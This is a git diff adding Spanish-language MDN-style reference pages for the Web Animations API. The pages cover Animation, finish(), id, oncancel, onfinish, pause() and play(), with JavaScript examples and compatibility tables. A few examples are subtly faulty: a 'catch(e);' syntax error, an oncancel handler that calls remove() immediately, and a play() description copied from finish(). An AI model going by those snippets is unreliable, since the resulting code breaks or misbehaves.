+    console.log("finish() called on paused or finished animation.");
+  } catch(e);
+    logMyErrors(e); //pasa el objeto excepción al manejador de errores.
+  }
+});
+</pre>
+
+<p>El siguiente ejemplo finaliza todas las animaciones en un solo elemento, independientemente de su dirección de reproducción.</p>
+
+<pre class="brush: js">elem.getAnimations().forEach(
+  function(animation){
+    return animation.finish();
+  }
+);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-finish', 'finish()')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}} para otros métodos y propiedades que puede usar para controlar la animación de la página web.</li>
+ <li>{{domxref("Animation.play()")}} para reproducir una animación hacia adelante.</li>
+ <li>{{domxref("Animation.reverse()")}} para reproducir una animación hacia atrás.</li>
+</ul>
diff --git a/files/es/web/api/animation/id/index.html b/files/es/web/api/animation/id/index.html
new file mode 100644
index 0000000000..e44c852e72
--- /dev/null
+++ b/files/es/web/api/animation/id/index.html
@@ -0,0 +1,110 @@
+---
+title: Animation.id
+slug: Web/API/Animation/id
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - id
+translation_of: Web/API/Animation/id
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad <code><strong>Animation</strong></code><strong><code>.id</code></strong> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve o establece una cadena(string) utilizado para identificar la animación.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>animationsId</em> = <em>Animation</em>.id;
+
+<em>Animation</em>.id = <em>newIdString</em>;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref("DOMString")}} que se puede usar para identificar la animación, o <code>null</code> si la animación no tiene <code>id</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/eJyWzm?editors=0010">Follow the White Rabbit </a>, puedes asignar  a <code>rabbitDownAnimation</code> un  <code>id</code> de esta manera:</p>
+
+<pre class="brush: js">rabbitDownAnimation.effect.<em>id</em> = "rabbitGo";
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-id', 'Animation.id' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li>{{domxref("KeyframeEffect")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/index.html b/files/es/web/api/animation/index.html
new file mode 100644
index 0000000000..ac1f5f46fb
--- /dev/null
+++ b/files/es/web/api/animation/index.html
@@ -0,0 +1,147 @@
+---
+title: Animation
+slug: Web/API/Animation
+tags:
+  - API
+  - Animacion
+  - Experimental
+  - Interfaz
+  - Reeferencia
+  - Web Animations
+  - waapi
+  - web animation api
+translation_of: Web/API/Animation
+---
+<div>{{ APIRef("Web Animations") }}{{SeeCompatTable}}</div>
+
+<p>La interfaz <strong><code>Animation</code></strong> de la  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> representa un reproductor de animación y proporciona controles de reproducción y una línea de tiempo para un nodo o una fuente de animación.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
+ <dd>Crea una nueva instancia de objeto <code>Animation</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Animation.currentTime")}}</dt>
+ <dd>El valor del tiempo de la animación actual en milisegundos , ya sea en ejecución o en pausa. Si la animación carece de {{domxref("AnimationTimeline", "timeline")}}, está inactivo, o no se ha reproducido todavía, su valor es <code>null</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.effect")}}</dt>
+ <dd>Obtiene y establece el {{domxref("AnimationEffectReadOnly")}} asociado con esta animación. Normalmente, este será un objeto {{domxref("KeyframeEffect")}}.</dd>
+ <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve la Promesa actual terminada para esta animación.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.id")}}</dt>
+ <dd>Obtiene y establece la <code>String</code> usada para identificar la animación.</dd>
+ <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve un valor enumerado que describe el estado de la reproducción de una animación.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.playbackRate")}}</dt>
+ <dd>Obtiene o establece la velocidad de reproducción de la animación.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.ready")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve la Promesa actual lista para esta animación.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.startTime")}}</dt>
+ <dd>Obiene o establece la hora programada en la que debe comenzar la reproducción de la animación.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.timeline")}}</dt>
+ <dd>Obtiene o establece el  {{domxref("AnimationTimeline", "timeline")}} asociado con esta animación.</dd>
+</dl>
+
+<h3 id="Manejadores_de_eventos">Manejadores de eventos</h3>
+
+<dl>
+ <dt>{{domxref("Animation.oncancel")}}</dt>
+ <dd>Obtiene y establece en manejador de eventos para el evento <code>cancel</code>.</dd>
+ <dt>{{domxref("Animation.onfinish")}}</dt>
+ <dd>Obtiene y establece en manejador de eventos para el evento <code>finish</code> .</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Animation.cancel()")}}</dt>
+ <dd>Borra todos los {{domxref("KeyframeEffect", "keyframeEffects")}} causados por la animación y aborta su reproducción.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.finish()")}}</dt>
+ <dd>Busca cualquier final de una animación, dependiendo de si la animación se está reproduciendo o invirtiendo.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.pause()")}}</dt>
+ <dd>Pone la reproducción en pausa.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.play()")}}</dt>
+ <dd><span id="result_box" lang="es"><span>Busca el final de una animación, dependiendo de si la animación se está reproduciendo o si se está invirtiendo.</span></span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.reverse()")}}</dt>
+ <dd><span id="result_box" lang="es"><span>Invierte la dirección de reproducción, deteniéndose al comienzo de la animación</span></span>. Si la animación finaliza o no se activa, volverá a reproducirse desde el final al principio.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt>
+ <dd>Establece la velocidad de la animación después de sincronizar por primera vez su posición de reproducción.</dd>
+</dl>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>Las animaciones titilantes e intermitentes pueden causar dificultades a las personas con discapacidades cognitivas como Trastorno por Déficit de Atención con Hiperactividad (ADHD) además de causar ataques a personas con cinestosis, epilepsia, migranias o <span class="short_text" id="result_box" lang="es"><span>síndrome de sensibilidad escotópica</span></span>.</p>
+
+<p>Considera ofrecer un mecanismo para pausar o deshabilitar las animaciones, así como utilizar <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query</a> para crear una experiencia complementaria para los usuarios que han expresado su preferencia por experiencias no animadas.</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.Animation")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">API de Animaciones Web</a></li>
+</ul>
diff --git a/files/es/web/api/animation/oncancel/index.html b/files/es/web/api/animation/oncancel/index.html
new file mode 100644
index 0000000000..1f09835210
--- /dev/null
+++ b/files/es/web/api/animation/oncancel/index.html
@@ -0,0 +1,115 @@
+---
+title: Animation.oncancel
+slug: Web/API/Animation/oncancel
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - oncancel
+translation_of: Web/API/Animation/oncancel
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad <code><strong>oncancel</strong></code> de la interfaz {{domxref("Animation")}} de la  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> es el manejador de eventos para el evento {{event("cancel")}} .</p>
+
+<p>El evento <code>cancel</code> puede ser activado manualmente con {{domxref("Animation.cancel()")}} cuando la animación entra en estado de reproducción <code>"idle"(inactivo)</code> desde otro estado, como cuando una animación se elimina de un elemento antes de que termine de reproducirse.</p>
+
+<div class="note">
+<p>La creación de una nueva animación, inicialmente inactiva, no activa el evento {{event("cancel")}} en la nueva animación.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>cancelHandler</em> = <em>Animation</em>.oncancel;
+
+<em>Animation</em>.oncancel = <em>cancelHandler</em>;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una función que será ejecutada cuando la animación sea cancelada, o <code>null</code> si no hay un manejador de eventos {{event("cancel")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Si esta animación es cancelada, elimina su elemento.</p>
+
+<pre class="brush: js">animation.oncancel = animation.effect.target.remove();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-oncancel', 'Animation.oncancel' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+ <li>The {{event("cancel")}} event</li>
+</ul>
diff --git a/files/es/web/api/animation/onfinish/index.html b/files/es/web/api/animation/onfinish/index.html
new file mode 100644
index 0000000000..592014f698
--- /dev/null
+++ b/files/es/web/api/animation/onfinish/index.html
@@ -0,0 +1,131 @@
+---
+title: Animation.onfinish
+slug: Web/API/Animation/onfinish
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - onfinish
+  - waapi
+translation_of: Web/API/Animation/onfinish
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad <code><strong>onfinish</strong></code> de la interfaz {{domxref("Animation")}} (de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>) es el manejador de eventos para el evento {{event("finish")}}. <span id="result_box" lang="es"><span>Este evento se envía cuando la animación termina de reproducirse</span></span>.</p>
+
+<p>El evento <code>finish</code> ocurre cuando la reproducción se completa de forma natural, así como cuando se llama al  método {{domxref("Animation.finish()")}} para que la animación termine inmediatamente.</p>
+
+<div class="note">
+<p>El estado de reproducción <code>"paused"</code> reemplaza al estado  <code>"finished"</code> ; Si la animación está pausada y finalizada, el estado<code>"paused"</code> será el único reportado. Puedes forzar el estado de la animación a <code>"finished"</code> configurando su {{domxref("Animation.startTime", "startTime")}} a <code>document.timeline.currentTime - (<em>Animation</em>.currentTime * <em>Animation</em>.playbackRate)</code>.</p>
+</div>
+
+<h2 id="Sintaxis"><span class="highlight-span">Sintaxis</span></h2>
+
+<pre class="syntaxbox">var <em>finishHandler</em> = <em>Animation</em>.onfinish;
+
+<em>Animation</em>.onfinish = <em>finishHandler</em>;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una función que debe ser llamada para manejar el evento {{event("finish")}} , o <code>null</code> si no se establece ningún manejador para el evento <code>finish</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><code>Animation.onfinish</code> es utilizado en varias ocasiones en el juego de Alice in Web Animations API Land <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a>.  Aquí hay una instancia en la que agregamos eventos de puntero a un elemento después de que su animación de opacidad se haya desvanecido:</p>
+
+<pre class="brush: js">// <span id="result_box" lang="es"><span>Agrega una animación a los créditos finales del juego.</span></span>
+var endingUI = document.getElementById("ending-ui");
+var bringUI = endingUI.animate(keysFade, timingFade);
+
+// Pone en Pausa dichos créditos.
+bringUI.pause();
+
+// <span id="result_box" lang="es"><span>Esta función elimina los eventos de puntero en los créditos.</span></span>
+hide(endingUI);
+
+// Cuando los créditos se hayan desvanecido,
+// volvemos a agregar los eventos de puntero cuando terminen.
+bringUI.onfinish = function() {
+  endingUI.style.pointerEvents = 'auto';
+};
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-onfinish', 'Animation.onfinish' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.finish()")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/pause/index.html b/files/es/web/api/animation/pause/index.html
new file mode 100644
index 0000000000..0c0329dda7
--- /dev/null
+++ b/files/es/web/api/animation/pause/index.html
@@ -0,0 +1,106 @@
+---
+title: Animation.pause()
+slug: Web/API/Animation/pause
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Referencia
+  - pausar
+  - pause
+  - waapi
+translation_of: Web/API/Animation/pause
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>El método <code><strong>pause()</strong></code> de la interfaz {{domxref("Animation")}} de la  <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>, suspende la reproducción de la animación.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">animation.pause();
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>None.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>None.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt>InvalidStateError</dt>
+ <dd>La animación {{domxref ("Animation.currentTime", "currentTime")}} no está resuelta <code>unresolved</code> (por ejemplo, si nunca se ha reproducido o no se está reproduciendo actualmente) y el tiempo de finalización de la animación es infinito positivo.</dd>
+</dl>
+
+<p>Lanza un <code>InvalidStateError</code> si el {{domxref("Animation.currentTime", "currentTime")}} de la animación no está resuelto <code>unresolved</code> (tal vez no se haya iniciado la reproducción) y el fin de la animación es infinito positivo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><code>Animation.pause()</code> es utilizado en varias ocasiones en el juego Alice in Web Animations API Land <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a>, porque las animaciones creadas con el método {{domxref("Element.animate()")}} se inician de inmediato y deben ser detenidas manualmente para evitar esto:</p>
+
+<pre class="brush: js">// animación de la magdalena que lentamente se está comiendo
+var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});
+
+// realmente solo debe funcionar al hacer click, así que se pausa inicialmente:
+nommingCake.pause();
+</pre>
+
+<p>Adicionalmente, al restablecer:</p>
+
+<pre class="brush: js">// Una función multiusos para pausar las animaciones de Alicia, el pastelito y la botella que dice "drink me."
+var stopPlayingAlice = function() {
+  aliceChange.pause();
+  nommingCake.pause();
+  drinking.pause();
+};
+
+// Cuando el usuario suelte el cupcake o la botella, pause las animaciones.
+cake.addEventListener("mouseup", stopPlayingAlice, false);
+bottle.addEventListener("mouseup", stopPlayingAlice, false);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-pause', 'play()')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+<p>{{Compat("api.Animation.pause")}}</p>
+</div>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}} para otros métodos y propiedades que puedes usar para el control de animaciones en páginas web.</li>
+ <li>{{domxref("Animation.pause()")}} para pausar una animación.</li>
+ <li>{{domxref("Animation.reverse()")}} para reproducir una animación al revés.</li>
+ <li>{{domxref("Animation.finish()")}} para finalizar una animación.</li>
+ <li>{{domxref("Animation.cancel()")}} para cancelar una animación.</li>
+</ul>
diff --git a/files/es/web/api/animation/play/index.html b/files/es/web/api/animation/play/index.html
new file mode 100644
index 0000000000..9ccb5d68a6
--- /dev/null
+++ b/files/es/web/api/animation/play/index.html
@@ -0,0 +1,149 @@
+---
+title: Animation.play()
+slug: Web/API/Animation/play
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Interface
+  - Reference
+  - metodo
+  - play
+  - waapi
+translation_of: Web/API/Animation/play
+---
+<div>{{ APIRef("Web Animations") }}{{SeeCompatTable}}</div>
+
+<p>El método <strong><code>play()</code></strong> de la interfaz {{ domxref("Animation") }} de la  <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> inicia o reanuda la reproducción de una animación. Si la animación ha finalizado, llamando a  <code>play()</code> reinicia la animación y la reproduce desde el principio.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">animation.play();
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>None.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>{{jsxref("undefined")}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Growing/Shrinking Alice Game</a> , hacer click o tocar el pastel hace que la animación de crecimiento de Alicia (<code>aliceChange</code>) sea reproducida hacia adelante, causando que Alicia se haga más grande, ademas de desencadenar la animación del pastel. Dos  <code>Animation.play()</code> y un <code>EventListener</code>:</p>
+
+<pre class="brush: js">// El pastel tiene su propia animación:
+var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});
+
+// Pausa la animación del pastel para que no se reproduzca inmediatamente.
+nommingCake.pause();
+
+// Esta función se reproducirá cuando el usuario haga click o toque
+var growAlice = function() {
+
+  // Reproduce la animación de Alicia.
+  aliceChange.play();
+
+  // Reproduce la animación del pastel.
+  nommingCake.play();
+
+}
+
+// Cuando el usuario hace click o toca, llama a growAlice, para reproducir todas las animaciones.
+cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-play', 'play()')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
